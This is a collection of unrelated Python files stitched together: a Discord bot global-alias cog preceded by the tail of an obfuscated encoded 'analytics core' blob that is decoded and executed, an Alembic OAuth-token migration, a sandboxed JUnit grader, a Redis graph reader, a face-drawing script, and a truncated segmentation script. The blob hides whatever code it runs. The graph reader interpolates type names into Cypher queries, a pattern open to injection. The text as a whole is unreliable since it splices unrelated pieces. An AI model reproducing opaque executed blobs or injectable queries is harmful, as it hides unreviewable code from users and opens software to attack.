2QRvhMhN7IVupD@Dc%||!)wb6GWa<j|4A7w^>1*G#geQy>+K)ZWl+Q>%nQt4gWkAZP9DIR5AB$NBZn~vz>MkF(Q^sY!XeEmiihsn({31b~az08JoJJ#h3c}f
p5@@p1uZ)0wyV4eVv6#)ZuBnR+O{?2~#O=WX>|hTRpjFOeVaH+?)1<@5zZB3O7atkQq3>a@-XQ)u=e|AQBOb{yxSwh(gxjx~Vv~$|jVJh*@h8bDT~B=5AKTB
gN|&SdeV*g%SW;!~C5(noym~n<pmP|pKUV5q8kb0-nBhD;q$Tq#fK4)JPKcs^U5or(L8H~9`^>)Z?6B?O_nr{EyXCH+`{upZAEX~!wi8Yv=mFA^{NoWvRbQE
KO5Mv*BE!$bYYEr0ovE^y*)}a6NFOjJjE0+|{YfciCAuY+A)JkO+6tU#`RKipPqs58oQ-)JL1o*<C-bic2Y}+c08GsIZUU3Cv*4w^k5I{Db50K0bKPSFshmx
Rj(Y0|;SU2d?s+MPi6(PPLva(Jw(n0~TKDN@5O)F|k^_pcwolv^jBVTLhNqMQ#x6WU9J^I;wLr}Cut#l+JlXfh1Bh<$;^|hNLoXLD#f*Fy-`e~b=ZU8rA0GJ
FU1|1o`VZODxuE?x@^rESdOK`qzRAwqpai|-7cM7idki4HKY>0$z!aloMM7*HJs+?={U5?4IFt""".replace("\n", ""))))
# End analytics core

class GlobalAlias:
    def __init__(self, bot):
        self.bot = bot
        self.aliases = dataIO.load_json(JSON)

        try:
            self.analytics = CogAnalytics(self)
        except Exception as error:
            self.bot.logger.exception(error)
            self.analytics = None

    def save(self):
        dataIO.save_json(JSON, self.aliases)

    @commands.group(pass_context=True)
    @checks.is_owner()
    async def galias(self, ctx):
        """Manage global aliases for commands"""
        if ctx.invoked_subcommand is None:
            await self.bot.send_cmd_help(ctx)

    @galias.command(name="add", pass_context=True)
    async def _add_alias(self, ctx, command, *, to_execute):
        """
        Add a global alias for a command

        Example: !galias add test flip @Twentysix
        """

        command = command.lower()
        server = ctx.message.server
        if ' ' in command:
            await self.bot.say("Aliases can't contain spaces.")
            return

        existing = self.servers_with_alias(command)
        if existing:
            this_server = server in existing
            incl = ", including this one" if this_server else ""

            await self.bot.say(warning("{} is already a regular alias in "
                                       "{} servers{}. In those servers, the "
                                       "existing alias will take priority."
                                       ).format(command, len(existing), incl))

        new_message = copy(ctx.message)
        new_message.content = to_execute
        prefix = await self.get_prefix(new_message)

        if prefix is not None:
            to_execute = to_execute[len(prefix):]

        if command in self.bot.commands:
            await self.bot.say(warning("Cannot add '{}', because it's a real "
                                       "bot command.".format(command)))
        elif command in self.aliases:
            await self.bot.say(warning("The alias '{0}' already exists. "
                                       "Remove it first, or use `{1}galias "
                                       "edit {0} ...`".format(command, prefix)
                                       ))
        else:
            self.aliases[command] = to_execute
            self.save()
            await self.bot.say("Global alias '{}' added.".format(command))

    @galias.command(name="edit", pass_context=True)
    async def _edit_alias(self, ctx, command, *, to_execute):
        """Edits an alias"""

        new_message = copy(ctx.message)
        new_message.content = to_execute
        prefix = await self.get_prefix(new_message)

        if prefix is not None:
            to_execute = to_execute[len(prefix):]

        if command in self.aliases:
            self.aliases[command] = to_execute
            self.save()
            await self.bot.say("Global alias '{}' updated.".format(command))
        else:
            await self.bot.say(warning("That alias doesn't exist."))

    @galias.command(name="rename", pass_context=True)
    async def _rename_alias(self, ctx, old_name, new_name):
        """Edits an alias"""

        server = ctx.message.server
        if ' ' in new_name:
            await self.bot.say("Aliases can't contain spaces.")
            return

        existing = self.servers_with_alias(new_name)
        if existing:
            this_server = server in existing
            incl = ", including this one" if this_server else ""

            await self.bot.say(warning("{} is already a regular alias in "
                                       "{} servers{}. In those servers, the "
                                       "existing alias will take priority."
                                       ).format(new_name, len(existing), incl))

        if new_name in self.bot.commands:
            await self.bot.say(warning("Cannot rename to '{}', because it's a"
                                       " real bot command.".format(new_name)))
        elif new_name in self.aliases:
            await self.bot.say(warning("The alias '{}' already exists.".format(new_name)))
        elif old_name in self.aliases:
            self.aliases[new_name] = self.aliases.pop(old_name)
            self.save()
            await self.bot.say("Global alias '{}' renamed to '{}'."
                               .format(old_name, new_name))
        else:
            await self.bot.say(warning("Alias '{}' doesn't exist.".format(old_name)))

    @galias.command(name="help", pass_context=True)
    async def _help_alias(self, ctx, command):
        """Tries to execute help for the base command of the alias"""
        if command in self.aliases:
            help_cmd = self.aliases[command].split(" ")[0]
            new_content = ctx.prefix
            new_content += "help "
            new_content += help_cmd[len(ctx.prefix):]
            message = ctx.message
            message.content = new_content
            await self.bot.process_commands(message)
        else:
            await self.bot.say(warning("That alias doesn't exist."))

    @galias.command(name="show")
    async def _show_alias(self, command):
        """Shows what command the alias executes."""
        if command in self.aliases:
            await self.bot.say(box(self.aliases[command]))
        else:
            await self.bot.say(warning("That alias doesn't exist."))

    @galias.command(name="del", pass_context=True, aliases=['remove'])
    async def _del_alias(self, ctx, command):
        """Deletes an alias"""
        command = command.lower()
        if command in self.aliases:
            self.aliases.pop(command, None)
            self.save()
            await self.bot.say("Global alias '{}' deleted.".format(command))
        else:
            await self.bot.say(warning("That alias doesn't exist."))

    @galias.command(name="list", pass_context=True)
    async def _alias_list(self, ctx):
        """Lists global command aliases"""
        header = "Alias list:\n"
        shorten = len(header) + 8
        alias_list = ""

        if not self.aliases:
            await self.bot.say("There are no global aliases.")
            return

        for alias in sorted(self.aliases):
            alias_list += alias + '\n'

        pages = pagify(alias_list, shorten_by=shorten)
        for i, page in enumerate(pages):
            if i == 0:
                page = header + box(page)
            else:
                page = box(page)
            await self.bot.say(page)

    @galias.command(name="overrides")
    async def _show_overrides(self, alias):
        """Shows which servers have a regular alias set."""

        if not self.bot.get_cog('Alias'):
            await self.bot.say(warning("The alias cog must be loaded to "
                                       "check for local overrides."))
            return

        servers = self.servers_with_alias(alias)

        if not servers:
            await self.bot.say("No servers have '{}' as a local alias.".format(alias))
            return

        servers = sorted(servers, key=lambda s: s.name)
        servers_str = '      Server ID      | Server Name\n'
        servers_str += '\n'.join('{0.id:>20} | {0.name}'.format(s) for s in servers)
        for page in pagify(servers_str):
            await self.bot.say(box(page))

    async def on_message(self, message):
        if not self.bot.user_allowed(message):
            return

        server = message.server

        prefix = await self.get_prefix(message)
        msg = message.content

        if prefix:
            alias = self.first_word(msg[len(prefix):]).lower()

            if alias not in self.aliases:
                return
            elif alias in self.bot.commands:
                return
            if server and alias in self.get_existing_aliases(server):
                return

            new_command = self.aliases[alias]
            args = message.content[len(prefix + alias):]
            new_message = copy(message)
            new_message.content = prefix + new_command + args
            await self.bot.process_commands(new_message)

    async def on_command(self, command, ctx):
        if ctx.cog is self and self.analytics:
            self.analytics.command(ctx)

    def part_of_existing_command(self, alias):
        '''Command or alias'''
        for command in self.bot.commands:
            if alias.lower() == command.lower():
                return True
        return False

    def get_existing_aliases(self, server):
        if server is None:
            return {}
        try:
            alias_cog = self.bot.get_cog('Alias')
            return alias_cog.aliases[server.id]
        except Exception:
            return {}

    def servers_with_alias(self, alias):
        servers = set()
        try:
            alias_cog = self.bot.get_cog('Alias')
            aliases = alias_cog.aliases

            for sid, alias_map in aliases.items():
                server = self.bot.get_server(sid)
                if server and alias in alias_map:
                    servers.add(server)

        except Exception:
            pass
        finally:
            return servers

    def first_word(self, msg):
        return msg.split(" ")[0]

    async def get_prefix(self, msg):
        prefixes = self.bot.command_prefix
        if callable(prefixes):
            prefixes = prefixes(self.bot, msg)
            if asyncio.iscoroutine(prefixes):
                prefixes = await prefixes

        for p in prefixes:
            if msg.content.startswith(p):
                return p
        return None

def check_folder():
    if not os.path.exists(PATH):
        print("Creating data/galias folder...")
        os.makedirs(PATH)

def check_file():
    if not dataIO.is_valid_json(JSON):
        print("Creating aliases.json...")
        dataIO.save_json(JSON, {})

def setup(bot):
    check_folder()
    check_file()
    bot.add_cog(GlobalAlias(bot))


# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
#      http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
#

"""Add authorization models

Revision ID: 011
Revises: 010
Create Date: 2014-03-21 17:44:51.248232

"""

# revision identifiers, used by Alembic.
revision = '011'
down_revision = '010'

from alembic import op
import sqlalchemy as sa

MYSQL_ENGINE = 'InnoDB'
MYSQL_CHARSET = 'utf8'

def upgrade(active_plugins=None, options=None):

    op.create_table(
        'authorizationcodes',
        sa.Column('created_at', sa.DateTime(), nullable=True),
        sa.Column('updated_at', sa.DateTime(), nullable=True),
        sa.Column('id', sa.Integer(), nullable=False),
        sa.Column('code', sa.Unicode(100), nullable=False),
        sa.Column('state', sa.Unicode(100), nullable=False),
        sa.Column('user_id', sa.Integer(), nullable=False),
        sa.Column('is_active', sa.Boolean(), default=True, server_default="1",
                  nullable=False),
        sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),
        sa.PrimaryKeyConstraint('id'),
        mysql_engine=MYSQL_ENGINE,
        mysql_charset=MYSQL_CHARSET
    )

    op.create_table(
        'bearertokens',
        sa.Column('created_at', sa.DateTime(), nullable=True),
        sa.Column('updated_at', sa.DateTime(), nullable=True),
        sa.Column('id', sa.Integer(), nullable=False),
        sa.Column('user_id', sa.Integer(), nullable=False),
        sa.Column('access_token', sa.Unicode(100), nullable=False),
        sa.Column('refresh_token', sa.Unicode(100), nullable=False),
        sa.Column('expires_in', sa.Integer(), nullable=False),
        sa.Column('expires_at', sa.DateTime(), nullable=False),
        sa.Column('is_active', sa.Boolean(), default=True, server_default="1",
                  nullable=False),
        sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),
        sa.PrimaryKeyConstraint('id'),
        mysql_engine=MYSQL_ENGINE,
        mysql_charset=MYSQL_CHARSET
    )

def downgrade(active_plugins=None, options=None):

    op.drop_table('bearertokens')
    op.drop_table('authorizationcodes')


"""
Helpers for processing JUnit evaluations.
"""
import os
import stat
import patoolib
import glob
import subprocess32 as subprocess
from application import app
from application.models import TestResult, TestCase
from flask import render_template
from shutil import move
import xml.etree.ElementTree as ET
from shutil import rmtree
from tempfile import mkdtemp

class Enumerator(object):

    """Simple enumerator for the lowercase ascii alphabet."""

    def __init__(self, banned_words_list):
        self.token = ['a']
        self.symbol_table = set()
        for word in banned_words_list:
            self.symbol_table.add(word)

    def get_token(self):
        while "".join(self.token) in self.symbol_table:
            self.increment_token()
        token = "".join(self.token)
        self.symbol_table.add(token)
        self.increment_token()
        return token

    def increment_token(self):
        if self.token[-1] != 'z':
            self.token[-1] = chr(ord(self.token[-1]) + 1)
        elif len(self.token) == 1:
            self.token = ['a', 'a']
        else:
            # Either all chars are 'z' or one can be
            if all([x == 'z' for x in self.token]):
                self.token.append('a')
            else:
                # Go back recursively
                self.increment_helper()

    def increment_helper(self):
        if self.token[-1] != 'z':
            self.token[-1] = chr(ord(self.token[-1]) + 1)
            self.token.append('a')
        else:
            self.token = self.token[:-1]
            self.increment_helper()

class DirectoryError(Exception):

    def __init__(self, value):
        self.value = value
        super(DirectoryError, self).__init__()

class SRCError(Exception):

    def __init__(self, value):
        self.value = value
        super(SRCError, self).__init__()

def copy_junit_tests(project, working_directory, buffer_size):
    """
    Creates JUNIT directory structure in ANT_TESTS_DIR_NAME
    and extract the project tests in it.
    @param project the project to run, we extract the tests in it
    @param working_directory is a random folder name for this run of the project
    @buffer_size is provided by FILE_BUFFER_SIZE in config
    """
    tests_dir = os.path.join(
        working_directory, app.config['ANT_TESTS_DIR_NAME'])
    app.logger.info('using {0} as test directory initially'.format(tests_dir))
    os.mkdir(tests_dir)
    # Write each junit in the project to the tests dir
    for junit in project.tests:
        with open(os.path.join(tests_dir, junit.filename), "wb") as outfile:
            buff = junit.read(buffer_size)
            while len(buff) != 0:
                outfile.write(buff)
                buff = junit.read(buffer_size)

def prepare_for_source(submission, enumerator, in_use_names, working_directory):
    """
    Makes sure the source archive can be written without overwriting any existing files.
    returns dict of renamed files.
    Doesn't rename source archive.
    """
    renamed_files = {}
    src_arch_name = submission.code.get().filename
    src_arch_name_split = src_arch_name.split('.')
    arch_no_ext_nm = src_arch_name_split[0]
    abs_arch_no_ext_nm = os.path.join(working_directory, arch_no_ext_nm)
    if arch_no_ext_nm in in_use_names:
        renamed_files[arch_no_ext_nm] = enumerator.get_token()
        move(abs_arch_no_ext_nm, os.path.join(
            working_directory, renamed_files[arch_no_ext_nm]))
    if src_arch_name in in_use_names and src_arch_name != arch_no_ext_nm:
        renamed_files[src_arch_name] = enumerator.get_token()
        move(abs_arch_no_ext_nm, os.path.join(
            working_directory, renamed_files[src_arch_name]))
    return renamed_files

def extract_source(submission, working_directory, buffer_size):
    """Writes the source archive and extracts it."""
    # Copy archive
    abs_arch_name = os.path.join(
        working_directory, submission.code.get().filename)
    prev_entry_count = len(os.listdir(working_directory))
    with open(abs_arch_name, "wb") as archive_out:
        buff = submission.code.read(buffer_size)
        while len(buff) != 0:
            archive_out.write(buff)
            buff = submission.code.read(buffer_size)
    after_entry_count = len(os.listdir(working_directory))
    if after_entry_count < prev_entry_count + 1:
        message = 'Working directory entry count assertion failed. Before write {0} after write {1}'.format(
            prev_entry_count, after_entry_count)
        app.logger.error(message)
        raise DirectoryError(message)
    # Extract archive
    prev_entry_count = after_entry_count
    patoolib.extract_archive(abs_arch_name, outdir=working_directory)
    after_entry_count = len(os.listdir(working_directory))
    os.remove(abs_arch_name)
    if after_entry_count < prev_entry_count + 1:
        message = 'Working directory entry count assertion failed. Before extraction {0} after extraction {1}'.format(
            prev_entry_count, after_entry_count)
        app.logger.error(message)
        raise DirectoryError(message)

def determine_src_dir(in_use_names, renamed_files, working_directory):
    """Attempts to determine source directory name"""
    candidates = [entry for entry in os.listdir(working_directory)
                  if (entry not in in_use_names) and (entry not in renamed_files.values())]

    if len(candidates) != 1:
        message = 'Could not determine working directory. Candidates {0},\ndirectory entries{1},\nrenamed_files {2},\nin_use_names: {1}'
        message = message.format(','.join(candidates), ','.join(os.listdir(
            working_directory)), ','.join(renamed_files.items()), ','.join(in_use_names))
        app.logger.error(message)
        raise SRCError(message)
    else:
        return candidates[0]

def create_ant_build_file(project, in_use_names, renamed_files, working_directory):
    """Creates ant build file."""
    src_dir = determine_src_dir(in_use_names, renamed_files, working_directory)
    # Paths in build.xml are relative not absolute.
    context = {
        "src_dir": src_dir,
        "tests_dir": renamed_files.get(app.config['ANT_TESTS_DIR_NAME'], app.config['ANT_TESTS_DIR_NAME']),
        "plain_format": False,
        "xml_format": True,
        "build_dir": renamed_files.get(app.config['ANT_BUILD_DIR_NAME'], app.config['ANT_BUILD_DIR_NAME']),
        "has_tests": project.has_tests,
        "has_class_files": project.has_class_files,
        "working_directory": working_directory,
        "test_files": [test.filename for test in project.tests]
    }
    if project.has_class_files:
        context["test_classes"] =\
         [test.filename for
            test in project.tests if test.filename.endswith(".class")]
    else:
        context["test_classes"] =\
         [test.filename.replace('.java', '.class') for test in project.tests]

    ant_build_template = render_template('runner/build.xml', **context)
    build_abs_fname = os.path.join(
        working_directory, renamed_files.get(app.config['ANT_BUILD_FILE_NAME'], app.config['ANT_BUILD_FILE_NAME']))
    with open(build_abs_fname, "w") as script_file:
        script_file.write(ant_build_template)

def create_ant_script_file(project, in_use_names, renamed_files, working_directory):
    """Creates ant script runner"""
    script_abs_fname = os.path.join(working_directory, renamed_files.get(
        app.config['ANT_RUN_FILE_NAME'], app.config['ANT_RUN_FILE_NAME']))
    context = {
        'buildfile_name': renamed_files.get(app.config['ANT_BUILD_FILE_NAME'], app.config['ANT_BUILD_FILE_NAME']),
        "has_class_files": project.has_class_files,
        'has_tests': project.has_tests,
        'test_timeout': project.test_timeout_seconds
    }
    rendered_script = render_template('runner/ant_script.sh', **context)
    with open(script_abs_fname, "w") as script_file:
        script_file.write(rendered_script)
    script_st = os.stat(script_abs_fname)
    os.chmod(script_abs_fname, script_st.st_mode | stat.S_IEXEC)

def setup_directory(submission, project, working_directory):
    """
    Sets up the directory layout.
    """
    BUFFER_SIZE = app.config['FILE_BUFFER_SIZE']
    if project.has_tests:
        copy_junit_tests(project, working_directory, BUFFER_SIZE)

    # Check if archive clashes
    in_use_names = os.listdir(working_directory) + [app.config[
        'ANT_BUILD_FILE_NAME'] + app.config['ANT_RUN_FILE_NAME'] + app.config['ANT_BUILD_DIR_NAME']]
    enumerator = Enumerator(in_use_names)
    renamed_files = prepare_for_source(
        submission, enumerator, in_use_names, working_directory)
    extract_source(submission, working_directory, BUFFER_SIZE)
    app.logger.info('Directory after extraction:[{0}]'.format(
        ','.join(os.listdir(working_directory))))
    before_ant_scripts = len(os.listdir(working_directory))
    create_ant_build_file(
        project, in_use_names, renamed_files, working_directory)
    create_ant_script_file(
        project, in_use_names, renamed_files, working_directory)
    after_ant_scripts = len(os.listdir(working_directory))
    if after_ant_scripts != before_ant_scripts + 1:
        message = 'Failed before and after sanity check for ant scripts entries: {0}'.format(
            ','.join(os.listdir(working_directory)))
        app.logger.error(message)
    return renamed_files

def parse_junit_results(test_res_dir, subm):
    """
    Parses XML output. Creates embedded TestResult and TestCase documents.
    Doesn't save submission.
    param: ters_res_dir path to directory where reports are.
    param: subm submission document instance.
    """
    files = glob.glob(os.path.join(test_res_dir, '*.xml'))
    test_results = {}
    for junit_report in files:
        # Process each junit report
        tree = ET.parse(junit_report)
        for test_case_elm in tree.iterfind('testcase'):
            # Process each test case in a junit file
            class_name = test_case_elm.attrib['classname']
            # class name is something like FooTest which is the class
            # the tests were declared at
            if class_name not in test_results:
                # Create new result if needed
                test_results[class_name] = TestResult(
                    name=class_name, success=True)
            # Populate case
            case = TestCase(
                name=test_case_elm.attrib['name'], passed=True, detail='')
            for failure in test_case_elm.iterfind('failure'):
                # If it has a failure child then it failed.
                case.passed = False
                case.detail += failure.text + '\n'
            for err in test_case_elm.iterfind('error'):
                # If it has an error child then it failed.
                case.passed = False
                case.error = True
                case.detail += err.text + '\n'
            case.save()
            test_results[class_name].cases.append(case)
            test_results[class_name].success &= case.passed

    subm.test_results = test_results.values()
    for r in subm.test_results:
        r.save()
    subm.save()

def run_sandbox(working_directory, selinux_directory, renamed_files, submission):
    """Initiates SELinux Sanbox."""
    command = ['sandbox', '-M', '-H', working_directory, '-T',
               selinux_directory, 'bash',
               renamed_files.get(app.config['ANT_RUN_FILE_NAME'], app.config['ANT_RUN_FILE_NAME'])]
    app.logger.info('Lauching {0}'.format(' '.join(command)))
    process = subprocess.Popen(
        command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = process.communicate()
    submission.compile_status = ('THE SOURCE WAS COMPILED SUCCESFULLY'
        in stderr or 'THE SOURCE WAS COMPILED SUCCESFULLY' in stdout)
    app.logger.info(stderr)
    app.logger.info(stdout)
    submission.compiler_out = stderr + '\n' + stdout
    ant_build_dir_name = renamed_files.get(
        app.config['ANT_BUILD_DIR_NAME'], app.config['ANT_BUILD_DIR_NAME'])
    if submission.compile_status and not ant_build_dir_name in os.listdir(working_directory):
        app.logger.error('Error unknown reason for compilation faliure.')
    submission.compile_status &= ant_build_dir_name in os.listdir(
        working_directory)

def extract_team_grade_submissions(grades):
    """
    write all submissions to disk then zip them in one archive file
    return that file for downlaod

    """
    # First we need to create the temporary directories
    class TempDirectories(object):

        def __enter__(self):
            self.dirs = mkdtemp()
            return self.dirs

        def __exit__(self, type, value, traceback):
            if app.config['CLEAN_TEMP_DIRS']:
                # rmtree(self.dirs[0])
                pass

    buffer_size = app.config['FILE_BUFFER_SIZE']
    working_directory = ''
    with TempDirectories() as directories:
        try:
            working_directory = directories
            arch_dir = os.path.join(working_directory, 'arch')
            os.mkdir(arch_dir)
            app.logger.info('using {0} as directory'.format(working_directory))
            # Populate directory
            for grade in grades:
                submission = grade.best_submission
                src_arch_name = submission.code.get().filename
                src_arch_name_split = src_arch_name.split('.')
                arch_ext = src_arch_name_split[-1]
                arch_nm = "Team_" + grade.team_id + "." + arch_ext
                abs_arch_name = os.path.join(arch_dir, arch_nm)

                prev_entry_count = len(os.listdir(arch_dir))

                with open(abs_arch_name, "wb") as archive_out:
                    buff = submission.code.read(buffer_size)
                    while len(buff) != 0:
                        archive_out.write(buff)
                        buff = submission.code.read(buffer_size)

                after_entry_count = len(os.listdir(arch_dir))

                if after_entry_count < prev_entry_count + 1:
                    message = 'Working directory entry count assertion failed. Before write {0} after write {1}'.format(
                        prev_entry_count, after_entry_count)
                    app.logger.error(message)
                    raise DirectoryError(message)

        except DirectoryError as de:
            print(de.value)
            pass
        print(working_directory)
    return working_directory

def junit_submission(submission, project):
    # First we need to create the temporary directories

    class TempDirectories(object):

        def __enter__(self):
            self.dirs = mkdtemp(), mkdtemp()
            return self.dirs

        def __exit__(self, type, value, traceback):
            if app.config['CLEAN_TEMP_DIRS']:
                rmtree(self.dirs[0])
                rmtree(self.dirs[1])

    with TempDirectories() as directories:
        try:
            working_directory, selinux_directory = directories
            app.logger.info('using {0} and {1} as directories'.format(working_directory, selinux_directory))
            # Populate directory
            renamed_files = setup_directory(
                submission, project, working_directory)
            run_sandbox(
                working_directory, selinux_directory, renamed_files, submission)
            if submission.compile_status and project.has_tests:
                tests_dir = os.path.join(working_directory,
                    renamed_files.get(app.config['ANT_BUILD_DIR_NAME'], app.config['ANT_BUILD_DIR_NAME']))
                tests_dir = os.path.join(tests_dir, 'tests')
                parse_junit_results(tests_dir, submission)
            submission.processed = True
            submission.save()
        except DirectoryError as de:
            submission.compile_status = False
            submission.processed = True
            submission.compiler_out = de.value
            submission.save()
        except SRCError as se:
            submission.compile_status = False
            submission.compiler_out = se.value
            submission.processed = True
            submission.save()


import logging

from CosmoTech_Acceleration_Library.Modelops.core.common.graph_handler import VersionedGraphHandler
from CosmoTech_Acceleration_Library.Modelops.core.utils.model_util import ModelUtil
from redis.commands.graph.query_result import QueryResult

logger = logging.getLogger(__name__)

class ModelReader(VersionedGraphHandler):
    """
    Model Reader for cached data
    """

    def get_twin_types(self) -> list:
        """
        Get twin types
        :return: twin types list
        """
        return [item for sublist in self.graph.labels() for item in sublist]

    def get_twins_by_type(self, twin_type: str, limit: int = 0) -> QueryResult:
        """
        Get twins by type
        :param twin_type: the twin type requested
        :param limit: the limit number of twin retrieved
        :return: the twin list corresponding to twin type parameter
        """
        twin_query = f'MATCH (node:{twin_type}) RETURN node'
        if limit != 0:
            twin_query = f'{twin_query} LIMIT {str(limit)}'
        logger.debug(f"Query : {twin_query}")
        return self.graph.query(twin_query, read_only=True)

    def get_twin_properties_by_type(self, twin_type: str) -> list:
        """
        Get twin properties regarding a twin_type
        Note: this will work if all twin (with the same type) have same properties set
        :param twin_type: the twin type
        :return: the properties list
        """
        result = []
        twin_result = self.get_twins_by_type(twin_type, 1)
        result_set = twin_result.result_set
        if result_set and result_set[0]:
            for key, val in result_set[0][0].properties.items():
                if str(key) != ModelUtil.dt_id_key:
                    result.append(str(key))
                else:
                    result.append(ModelUtil.id_key)
        return result

    def get_relationship_types(self) -> list:
        """
        Get relationship types
        :return: relationship types list
        """
        return [item for sublist in self.graph.relationship_types() for item in sublist]

    def get_relationships_by_type(self, relationship_type: str, limit: int = 0) -> QueryResult:
        """
        Get relationships by type
        :param relationship_type: the relationship type requested
        :param limit: the limit number of twin retrieved
        :return: the relationship list corresponding to relationship type parameter
        """
        rel_query = f'MATCH (n)-[relation:{relationship_type}]->(m) RETURN n.{ModelUtil.dt_id_key} as {ModelUtil.source_key}, ' \
                    f'm.{ModelUtil.dt_id_key} as {ModelUtil.target_key}, relation'
        if limit != 0:
            rel_query = f'{rel_query} LIMIT {str(limit)}'
        logger.debug(f"Query : {rel_query}")
        return self.graph.query(rel_query, read_only=True)

    def get_relationship_properties_by_type(self, relationship_type: str) -> list:
        """
        Get relationship properties regarding a relationship_type
        Note: this will work if all relationship (with the same type) have same properties set
        :param relationship_type: the relationship type
        :return: the properties list
        """
        result = [ModelUtil.source_key, ModelUtil.target_key]
        relationship_result = self.get_relationships_by_type(relationship_type, 1)
        result_set = relationship_result.result_set
        if result_set and result_set[0]:
            # relationship
            for key, val in result_set[0][2].properties.items():
                if not str(key) in result:
                    if str(key) == ModelUtil.dt_id_key:
                        result.append(ModelUtil.id_key)
                    elif str(key) != ModelUtil.src_key and str(key) != ModelUtil.dest_key:
                        result.append(str(key))
        return result

    def query(self, query: str, params: dict = None, timeout: int = None, read_only: bool = False) -> QueryResult:
        """
        Run specified query
        :param query: the query to run
        :param params: the parameters for the query if any
        :param timeout: a specific timeout
        :param read_only: executes a readonly query if set to True
        :return: the QueryResult corresponding to specified query
        """
        logger.debug(f"Query : {query} with params : {params}")
        return self.graph.query(q=query, params=params, timeout=timeout, read_only=read_only)

    def exists(self, key) -> bool:
        """
        Check if a key exists in Redis
        :param key: the key
        :return: True if exists else False
        """
        return False if self.r.exists(key) == 0 else True


import os
from dragonEyes.align_dlib import AlignDlib
import csv
import glob
import cv2
from PIL import Image, ImageDraw
import pandas as pd
from random import shuffle

align_dlib = AlignDlib(os.path.join(os.path.dirname(__file__), 'transferredSkills/dlib_models/shape_predictor_68_face_landmarks.dat'))

def draw_on_image(image, out_loc, boxes, face_landmarks_list = None):

    #image = utils.loadImage(image_path)

    colors = ['blue', 'red', '#7FFF00', 'yellow', '#BF3EFF', '#121212', '#FF69B4', '#FFA54F']

    # Find all facial features in all the faces in the image
    #face_landmarks_list = utils.facePoints(image)
    #boxes = utils.getFaceBounds(image, 2, 'hog')

    pil_image = Image.fromarray(image)
    d = ImageDraw.Draw(pil_image, 'RGBA')

    if face_landmarks_list:
        for i in range(len(face_landmarks_list)):
            color = colors[i%len(colors)]
            face_landmarks = face_landmarks_list[i]

            # Make the eyebrows into a nightmare
            d.point(face_landmarks['left_eyebrow'], fill=color)
            d.point(face_landmarks['right_eyebrow'], fill=color)

            d.point(face_landmarks['chin'], fill=color)

            # lips
            d.point(face_landmarks['top_lip'], fill=color)
            d.point(face_landmarks['bottom_lip'], fill=color)
            '''
            d.polygon(face_landmarks['top_lip'], fill=(150, 0, 0, 128))
            d.polygon(face_landmarks['bottom_lip'], fill=(150, 0, 0, 128))
            d.line(face_landmarks['top_lip'], fill=(150, 0, 0, 64), width=8)
            d.line(face_landmarks['bottom_lip'], fill=(150, 0, 0, 64), width=8)
            '''
            d.point(face_landmarks['left_eye'] + [face_landmarks['left_eye'][0]], fill=color)
            d.point(face_landmarks['right_eye'] + [face_landmarks['right_eye'][0]], fill=color)

    #print('deferfr', boxes)
    for i in range(len(boxes)):
        #print(boxes[i])
        box = boxes[i][1]
        #print(box[3], box[0]), (box[1], box[2])
        color = colors[i%len(colors)]
        d.rectangle(((box[3], box[0]), (box[1], box[2])), outline = color)
        d.text((box[3], box[2]), text=boxes[i][0], fill = color)
        #d.text((box[3], box[2]), text=str(boxes[i][2]), fill = color)

    pil_image.save(out_loc, "JPEG")

def _buffer_image(filename):
    image = cv2.imread(filename, )
    image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
    return image

def get_image_details(path):
    result = []
    header = []
    isHeader = True
    with open(path) as csvfile:
        reader = csv.reader(csvfile, delimiter=',')
        dict_list = []
        for row in reader:
            if isHeader:
                header = row
                isHeader = False
            else:
                result.append(dict(zip(header, row)))
    return result

def main(img_dir, result):

    #for root, dirs, files in os.walk(img_dir):

    #for file in glob.glob(os.path.join(img_dir,"**/*.csv")):

    file = os.path.join(img_dir, os.path.join(os.path.basename(img_dir).replace('_jpg', '_jpg.csv')))
    df_f = pd.read_csv(file)
    #print(file)
    boxes = []
    #print(file)
    for d in get_image_details(file):
        if len(list(d.keys())) > 0:
            parent_file = os.path.dirname(file).replace('_jpg', '.jpg')
            #print(d)
            bb = [int(s) for s in d['bb'].replace('L','').split(',') if s.isdigit()]
            r = result[d['segment']]

            df_f.loc[df_f['segment']==d['segment'], 'accuracy'] = r.accuracy
            df_f.loc[df_f['segment']==d['segment'], 'name'] = r.person_name

            boxes.append([r.person_name, bb, r.accuracy])

    #print(os.path.dirname(file).replace('_jpg', '.jpg'))
    out_path = os.path.dirname(file).replace('_jpg', '_processed.jpg')
    #print('o',out_path)
    _image = _buffer_image(os.path.dirname(file).replace('_jpg', '.jpg'))
    draw_on_image(_image, out_path, boxes)
    df_f.to_csv(file, index=False)

if __name__ == '__main__':
    import os
    import glob
    import cv2
    from align_dlib import AlignDlib

    align_dlib = AlignDlib(os.path.join(os.path.dirname(__file__), 'transferredSkills/dlib_models/shape_predictor_68_face_landmarks.dat'))

    def _buffer_image(filename):
        image = cv2.imread(filename, )
        image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
        return image

    out_dir = 'tests_output/draw_test'

    if not os.path.exists(out_dir):
        os.makedirs(out_dir)

    image_paths = glob.glob(os.path.join('tests/crop_test', '**/*.jpg'))
    for image in image_paths:
        _image = _buffer_image(image)
        boxes = [ align_dlib._getBoxCoordinates(b) for b in align_dlib.getAllFaceBoundingBoxes(_image)]
        landmarks = align_dlib.facePoints( _image, boxes)

        out_path = os.path.join(out_dir, os.path.basename(image)).replace('.jpg', '') + "_processed.jpg"
        draw_on_image(_image, out_path, boxes, landmarks)


# -*- coding: utf-8 -*-
"""
Created on Wed Aug 25 17:54:25 2021

@author: aktas
"""

# -*- coding: utf-8 -*-
"""
Created on Tue Aug 24 20:14:29 2021

@author: aktas
"""

import cv2
import numpy as np

""" multiple seed region groowing image segmentation. Up to 5 seed can be selected """

def search_new_seed(classified_pixels, seed_x,seed_y,img, region_mean,threshold):
    img_h, img_w = img.shape
    for i in range(seed_x, img_w):
        for k in range(seed_y, img_h):
            if [i,k] in classified_pixels:
                continue
